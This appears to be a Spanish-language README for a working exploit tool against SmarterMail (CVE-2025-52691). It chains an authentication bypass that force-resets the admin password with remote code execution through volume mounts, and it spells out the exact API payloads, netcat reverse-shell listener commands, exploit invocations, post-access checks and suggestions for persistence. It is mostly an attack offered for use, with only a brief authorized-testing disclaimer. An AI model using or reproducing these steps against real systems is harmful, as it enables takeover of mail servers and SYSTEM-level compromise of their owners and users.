
CVE-2025-52691 PoC: Basado en el artículo WT-2026-0001 de watchtowr sobre una explotación de omisión de autenticación, este es un script de ataque funcional en Python.
¡Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos!
Este exploit combina dos vulnerabilidades críticas en SmarterMail:
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
El exploit realiza un ataque en 3 fases:
Fase 1: Omisión de autenticación mediante WT-2026-0001
Fase 2: Inicio de sesión como administrador con la nueva contraseña
Fase 3: RCE mediante la funcionalidad de montajes de volumen
# Instalar Python 3 (si no está disponible)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# Instalar netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
# Dependencias de Python (si es necesario)
pip3 install requests
# Hacer ejecutable
chmod +x run_exploit.sh
# Configuración automatizada
./run_exploit.sh --auto
# O configuración interactiva
./run_exploit.sh
# Configurar listener (en una terminal)
nc -lvnp 4444
# Ejecutar exploit (en una segunda terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
Identificación del objetivo
# Verificar el host objetivo
curl -I http://192.168.1.100:9998
# Identificar la versión de SmarterMail
# (Normalmente en la página de inicio de sesión o en los encabezados HTTP)
Configuración del listener
# En la Terminal 1: Iniciar listener
nc -lvnp 4444
# El listener debe estar ejecutándose antes de ejecutar el exploit
Validación de la red
# Asegurar que la conexión entre atacante y objetivo sea posible
ping 192.168.1.100
nc -zv 192.168.1.100 9998
# Con el script runner (recomendado)
./run_exploit.sh
# O directamente con Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
Conexión de shell
# En la terminal del listener, debería aparecer una conexión
# Debería tener un shell SYSTEM
Verificar acceso
# En el shell obtenido
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
Acceso persistente
# Opcional: Configurar persistencia
# Windows: Instalar como servicio
# Linux: Tarea cron o servicio systemd
| Parámetro | Descripción | Valor por defecto |
|---|---|---|
-H, --host | Host objetivo (obligatorio) | - |
-P, --port | Puerto objetivo | 9998 |
-A, --attacker-ip | IP del atacante para shell inverso (obligatorio) | - |
-p, --attacker-port | Puerto del atacante para shell inverso (obligatorio) | - |
-d, --debug | Activar modo debug | False |
--admin-username | Nombre de usuario administrador | admin |
--new-password | Nueva contraseña de administrador | NewPassword123!@# |
| Parámetro | Descripción |
|---|---|
-t, --target | Host objetivo |
-p, --port | Puerto objetivo |
-a, --attacker-ip | IP del atacante |
-l, --listener-port | Puerto del listener |
-n, --new-password | Nueva contraseña de administrador |
-u, --admin-user | Nombre de usuario administrador |
-d, --debug | Modo debug |
--auto | Modo automatizado |
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Ejecutar exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
./run_exploit.sh --auto
Endpoint: POST /api/v1/auth/force-reset-password
Payload:
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
Respuesta de éxito:
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
Endpoint: POST /api/v1/auth/login
Payload:
{
"username": "admin",
"password": "NewPassword123!@#"
}
Endpoint: POST /api/v1/settings/volume-mounts
Payload:
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
# Error: "Conexión rechazada"
# Solución: Verificar el cortafuegos y abrir el puerto
sudo ufw allow 9998
# Error: "Conexión fallida"
# Solución: Verificar la configuración del listener
nc -lvnp 4444
# Error: "Inicio de sesión fallido"
# Solución: Verificar la versión del objetivo (debe ser vulnerable)
# Error: "Creación de montaje de volumen fallida"
# Solución: Verificar privilegios de administrador, sistema objetivo
Active el modo debug para obtener una salida detallada:
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
⚠️ Recuerde: Un gran poder conlleva una gran responsabilidad